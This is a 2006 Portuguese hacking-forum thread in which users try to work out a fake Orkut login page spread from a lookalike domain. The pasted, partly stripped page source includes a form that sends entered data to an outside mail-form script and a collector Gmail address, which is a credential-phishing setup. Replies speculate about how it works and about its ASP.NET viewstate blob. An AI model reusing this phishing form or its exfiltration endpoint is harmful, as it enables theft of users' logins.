Text only | Text with Images

FORUM DARKERS

Segurança & Hacking => Penetration Tests => Topic started by: Anonymous on 26 de September , 2006, 02:22:22 PM

Title: Ajuda para desvendar isso
Post by: Anonymous on 26 de September , 2006, 02:22:22 PM
Ola pessoal do darkers...
Gostaria de pedir uma ajuda a vcs...

Queira sabe como q esse codigo ou seja o codigo da pagina " http://www.orkut.com.community.aspx.cm.172939.com (http://www.orkut.com.community.aspx.cm.172939.com)" q estava circulando a uns dias atraz eh um auto infect.. mais soh funciona em  Win SP1

orkut
id=cssLink href="orkut_arquivos/styles004.css" type=text/css rel=stylesheet>





name=vs_targetSchema>





value=dDwxMjU1NTE3OTA7dDw7bDxpPDA+Oz47bDx0PDtsPGk8Mz47aTw1PjtpPDc+O2k8OT47aTwxMT47PjtsPHQ8cDxwPGw8VGV4dDs+O2w8XDxpbWcgYWx0PSJPcmt1dCIgd2lkdGg9IjU4IiBzcmM9ImltZy9pX28uZ2lmIiBib3JkZXI9IjAiIGhlaWdodD0iMjAiL1w+IGlzIGFuIG9ubGluZSBjb21tdW5pdHkgdGhhdCBjb25uZWN0cyBwZW9wbGUgdGhyb3VnaCBhIG5ldHdvcmsgb2YgdHJ1c3RlZCBmcmllbmRzLgoJCVw8QlJcPgoJCVw8QlJcPgoJCVdlIGFyZSBjb21taXR0ZWQgdG8gcHJvdmlkaW5nIGFuIG9ubGluZSBtZWV0aW5nIHBsYWNlIHdoZXJlIHBlb3BsZSBjYW4gCgkJc29jaWFsaXplIGFuZCBtYWtlIG5ldyBhY3F1YWludGFuY2VzIHdobyBzaGFyZSB0aGVpciBpbnRlcmVzdHMuOz4+Oz47Oz47dDxwPHA8bDxBbHRlcm5hdGVUZXh0O1Rvb2xUaXA7SW1hZ2VVcmw7PjtsPHdobyBkbyB5b3Uga25vdz87d2hvIGRvIHlvdSBrbm93PztpbWcvZW4tVVMvd2R5ay5qcGc7Pj47cDxsPGJvcmRlcjs+O2w8MDs+Pj47Oz47dDxwPHA8bDxUZXh0Oz47bDxKb2luIFw8Zm9udCBjbGFzcz0iRSJcPm9ya3V0XDwvZm9udFw+IHRvIGV4cGFuZCB0aGUgY2lyY3VtZmVyZW5jZSBvZiB5b3VyIHNvY2lhbCBjaXJjbGUuOz4+Oz47Oz47dDxwPHA8bDxBbHRlcm5hdGVUZXh0O1Rvb2xUaXA7SW1hZ2VVcmw7PjtsPGxvZ2luO2xvZ2luO2ltZy9lbi1VUy90aF9sb2dpbjIuZ2lmOz4+O3A8bDxib3JkZXI7PjtsPDA7Pj4+Ozs+O3Q8cDxwPGw8VGV4dDs+O2w8XDxpZnJhbWUgc3R5bGU9J1dJRFRIOjIyZW1cO0hFSUdIVDoyMmVtJyBtYXJnaW53aWR0aD0nMCcgYWxpZ249J2NlbnRlcicgbWFyZ2luaGVpZ2h0PScwJyBzY3JvbGxpbmc9J25vJyBpZD0nbGlmcmFtZScgZnJhbWVib3JkZXI9JzAnIHNyYz0naHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS9hY2NvdW50cy9TZXJ2aWNlTG9naW5Cb3g/c2VydmljZT1vcmt1dCZudWk9MiZ1aWxlbD0xJnNraXB2cGFnZT10cnVlJnBhc3NpdmU9dHJ1ZSZjb250aW51ZT1odHRwJTNBJTJGJTJGd3d3Lm9ya3V0LmNvbSUyRlJlZGlyTG9naW4uYXNweCUzRm1zZyUzRDAlMjZwYWdlJTNESG9tZS5hc3B4JTI1M0Z4aWQlMjUzRDEzNDA1ODkzMTA0MjQyNDM5MiZmb2xsb3d1cD1odHRwJTNBJTJGJTJGd3d3Lm9ya3V0LmNvbSUyRkdMb2dpbi5hc3B4JTNGY21kJTNEbm9wYXNzJmhsPWVuLVVTJ1w+XDwvaWZyYW1lXD47Pj47Pjs7Pjs+Pjs+Pjs+YuR4lfrBMtiHu321EwqsGxXacSk=
name=__VIEWSTATE>
action="http://home.ism.com.br/cgi-bin/scripts/mail_form.pl">value=ownedings@gmail.com name=email> name=T1>
type=hidden value=http://www.orkut.com name=homepage> value=http://www.orkut.com name=saida>
name=obrigatorio> name=campo_errado>

 
 
   
   
 
   
  orkut beta      src="orkut_arquivos/tr4.gif">
    Participar do orkut (http://www.orkut.com/JoinNetwork.aspx) |
      Ajuda (http://help.orkut.com?hl=pt-BR)
 




 
 
   
   
   

     
       
       
         
         
         
       
         
         
         
       
         
         
         
            width=16 border=0>             width=16 border=0>
             id=lblHeadline>Orkut            width=58 border=0> 
            é uma comunidade online que conecta pessoas através de uma rede de amigos confiáveis.            id=lblHeadline>


            Proporcionamos um ponto de encontro online com um ambiente de confraternização, onde é possível fazer novos amigos e conhecer pessoas que têm os mesmos interesses.
           

            alt="who do you know?" src="orkut_arquivos/wdyk.jpg" align=middle
            border=0>


  Participe do orkut para ampliar o diâmetro do seu círculo social.

 
              width=16 border=0>
 
     
       
       
         
         
         
       
         
         
         
       
         
         
         
            width=16 border=0>            title=login alt=login src="orkut_arquivos/th_login2.gif"
border=0>		            width=16 border=0>
  
            width=16 border=0>background=orkut_arquivos/tb8.gif>             width=16 border=0>



 
 
   
   
   
 
   
    background=orkut_arquivos/tr1.gif rowSpan=2>serviço filiado ao Googlesrc="orkut_arquivos/tr2.gif">    background=orkut_arquivos/tr3.gif> 
Privacidade (http://www.orkut.com/Privacy.aspx) | hamen_fa@hotmail.com (mailto:hamen_fa@hotmail.com)
Title: Re: Ajuda para desvendar isso
Post by: anakim on 26 de September , 2006, 03:24:53 PM
kra até achei interessante + eu acho que issó só tem html, o arquivo q faz a fun;ao pra auto infect esta no server e ai tu só consegue se invadir o orkut q eu acho quase uma missao impossivel, + tipo se for funcao em javascript entao roda no client ai sim tu pode ver como funciona, t+ add gangdospc@hotmail.com pra nois trocar umas ideias t+!!!
Title: Re: Ajuda para desvendar isso
Post by: Anonymous on 26 de September , 2006, 08:36:39 PM
SIm kra...
mais eu acho q a parada ta mais ou menos por essa parte

Quote




value=dDwxMjU1NTE3OTA7dDw7bDxpPDA+Oz47bDx0PDtsPGk8Mz47aTw1PjtpPDc+O2k8OT47aTwxMT47PjtsPHQ8cDxwPGw8VGV4dDs+O2w8XDxpbWcgYWx0PSJPcmt1dCIgd2lkdGg9IjU4IiBzcmM9ImltZy9pX28uZ2lmIiBib3JkZXI9IjAiIGhlaWdodD0iMjAiL1w+IGlzIGFuIG9ubGluZSBjb21tdW5pdHkgdGhhdCBjb25uZWN0cyBwZW9wbGUgdGhyb3VnaCBhIG5ldHdvcmsgb2YgdHJ1c3RlZCBmcmllbmRzLgoJCVw8QlJcPgoJCVw8QlJcPgoJCVdlIGFyZSBjb21taXR0ZWQgdG8gcHJvdmlkaW5nIGFuIG9ubGluZSBtZWV0aW5nIHBsYWNlIHdoZXJlIHBlb3BsZSBjYW4gCgkJc29jaWFsaXplIGFuZCBtYWtlIG5ldyBhY3F1YWludGFuY2VzIHdobyBzaGFyZSB0aGVpciBpbnRlcmVzdHMuOz4+Oz47Oz47dDxwPHA8bDxBbHRlcm5hdGVUZXh0O1Rvb2xUaXA7SW1hZ2VVcmw7PjtsPHdobyBkbyB5b3Uga25vdz87d2hvIGRvIHlvdSBrbm93PztpbWcvZW4tVVMvd2R5ay5qcGc7Pj47cDxsPGJvcmRlcjs+O2w8MDs+Pj47Oz47dDxwPHA8bDxUZXh0Oz47bDxKb2luIFw8Zm9udCBjbGFzcz0iRSJcPm9ya3V0XDwvZm9udFw+IHRvIGV4cGFuZCB0aGUgY2lyY3VtZmVyZW5jZSBvZiB5b3VyIHNvY2lhbCBjaXJjbGUuOz4+Oz47Oz47dDxwPHA8bDxBbHRlcm5hdGVUZXh0O1Rvb2xUaXA7SW1hZ2VVcmw7PjtsPGxvZ2luO2xvZ2luO2ltZy9lbi1VUy90aF9sb2dpbjIuZ2lmOz4+O3A8bDxib3JkZXI7PjtsPDA7Pj4+Ozs+O3Q8cDxwPGw8VGV4dDs+O2w8XDxpZnJhbWUgc3R5bGU9J1dJRFRIOjIyZW1cO0hFSUdIVDoyMmVtJyBtYXJnaW53aWR0aD0nMCcgYWxpZ249J2NlbnRlcicgbWFyZ2luaGVpZ2h0PScwJyBzY3JvbGxpbmc9J25vJyBpZD0nbGlmcmFtZScgZnJhbWVib3JkZXI9JzAnIHNyYz0naHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS9hY2NvdW50cy9TZXJ2aWNlTG9naW5Cb3g/c2VydmljZT1vcmt1dCZudWk9MiZ1aWxlbD0xJnNraXB2cGFnZT10cnVlJnBhc3NpdmU9dHJ1ZSZjb250aW51ZT1odHRwJTNBJTJGJTJGd3d3Lm9ya3V0LmNvbSUyRlJlZGlyTG9naW4uYXNweCUzRm1zZyUzRDAlMjZwYWdlJTNESG9tZS5hc3B4JTI1M0Z4aWQlMjUzRDEzNDA1ODkzMTA0MjQyNDM5MiZmb2xsb3d1cD1odHRwJTNBJTJGJTJGd3d3Lm9ya3V0LmNvbSUyRkdMb2dpbi5hc3B4JTNGY21kJTNEbm9wYXNzJmhsPWVuLVVTJ1w+XDwvaWZyYW1lXD47Pj47Pjs7Pjs+Pjs+Pjs+YuR4lfrBMtiHu321EwqsGxXacSk=
name=__VIEWSTATE>

na quela parte codificada...
n se se alguem poderia ajudar a descodificar aquilo...

amanha retorno a posta o conteudo do arquivo Js
Flws
Title: Re: Ajuda para desvendar isso
Post by: slul on 15 de October , 2006, 02:57:18 PM
Quote from: "Darman"SIm kra...
mais eu acho q a parada ta mais ou menos por essa parte

Quote




value=dDwxMjU1NTE3OTA7dDw7bDxpPDA+Oz47bDx0PDtsPGk8Mz47aTw1PjtpPDc+O2k8OT47aTwxMT47PjtsPHQ8cDxwPGw8VGV4dDs+O2w8XDxpbWcgYWx0PSJPcmt1dCIgd2lkdGg9IjU4IiBzcmM9ImltZy9pX28uZ2lmIiBib3JkZXI9IjAiIGhlaWdodD0iMjAiL1w+IGlzIGFuIG9ubGluZSBjb21tdW5pdHkgdGhhdCBjb25uZWN0cyBwZW9wbGUgdGhyb3VnaCBhIG5ldHdvcmsgb2YgdHJ1c3RlZCBmcmllbmRzLgoJCVw8QlJcPgoJCVw8QlJcPgoJCVdlIGFyZSBjb21taXR0ZWQgdG8gcHJvdmlkaW5nIGFuIG9ubGluZSBtZWV0aW5nIHBsYWNlIHdoZXJlIHBlb3BsZSBjYW4gCgkJc29jaWFsaXplIGFuZCBtYWtlIG5ldyBhY3F1YWludGFuY2VzIHdobyBzaGFyZSB0aGVpciBpbnRlcmVzdHMuOz4+Oz47Oz47dDxwPHA8bDxBbHRlcm5hdGVUZXh0O1Rvb2xUaXA7SW1hZ2VVcmw7PjtsPHdobyBkbyB5b3Uga25vdz87d2hvIGRvIHlvdSBrbm93PztpbWcvZW4tVVMvd2R5ay5qcGc7Pj47cDxsPGJvcmRlcjs+O2w8MDs+Pj47Oz47dDxwPHA8bDxUZXh0Oz47bDxKb2luIFw8Zm9udCBjbGFzcz0iRSJcPm9ya3V0XDwvZm9udFw+IHRvIGV4cGFuZCB0aGUgY2lyY3VtZmVyZW5jZSBvZiB5b3VyIHNvY2lhbCBjaXJjbGUuOz4+Oz47Oz47dDxwPHA8bDxBbHRlcm5hdGVUZXh0O1Rvb2xUaXA7SW1hZ2VVcmw7PjtsPGxvZ2luO2xvZ2luO2ltZy9lbi1VUy90aF9sb2dpbjIuZ2lmOz4+O3A8bDxib3JkZXI7PjtsPDA7Pj4+Ozs+O3Q8cDxwPGw8VGV4dDs+O2w8XDxpZnJhbWUgc3R5bGU9J1dJRFRIOjIyZW1cO0hFSUdIVDoyMmVtJyBtYXJnaW53aWR0aD0nMCcgYWxpZ249J2NlbnRlcicgbWFyZ2luaGVpZ2h0PScwJyBzY3JvbGxpbmc9J25vJyBpZD0nbGlmcmFtZScgZnJhbWVib3JkZXI9JzAnIHNyYz0naHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS9hY2NvdW50cy9TZXJ2aWNlTG9naW5Cb3g/c2VydmljZT1vcmt1dCZudWk9MiZ1aWxlbD0xJnNraXB2cGFnZT10cnVlJnBhc3NpdmU9dHJ1ZSZjb250aW51ZT1odHRwJTNBJTJGJTJGd3d3Lm9ya3V0LmNvbSUyRlJlZGlyTG9naW4uYXNweCUzRm1zZyUzRDAlMjZwYWdlJTNESG9tZS5hc3B4JTI1M0Z4aWQlMjUzRDEzNDA1ODkzMTA0MjQyNDM5MiZmb2xsb3d1cD1odHRwJTNBJTJGJTJGd3d3Lm9ya3V0LmNvbSUyRkdMb2dpbi5hc3B4JTNGY21kJTNEbm9wYXNzJmhsPWVuLVVTJ1w+XDwvaWZyYW1lXD47Pj47Pjs7Pjs+Pjs+Pjs+YuR4lfrBMtiHu321EwqsGxXacSk=
name=__VIEWSTATE>

na quela parte codificada...
n se se alguem poderia ajudar a descodificar aquilo...

amanha retorno a posta o conteudo do arquivo Js
Flws


aquilo ali é só o value da variavel...

eles utilizam isso normalmente nao tem nada de mais, creio que esteja assim por causa do SSL que o orkut usa n tenho certeza..

descullpem reviver este topico q nem era tao antigo mas eh q a duvida ainda nao tinha sido sanada.

até mais...
Text only | Text with Images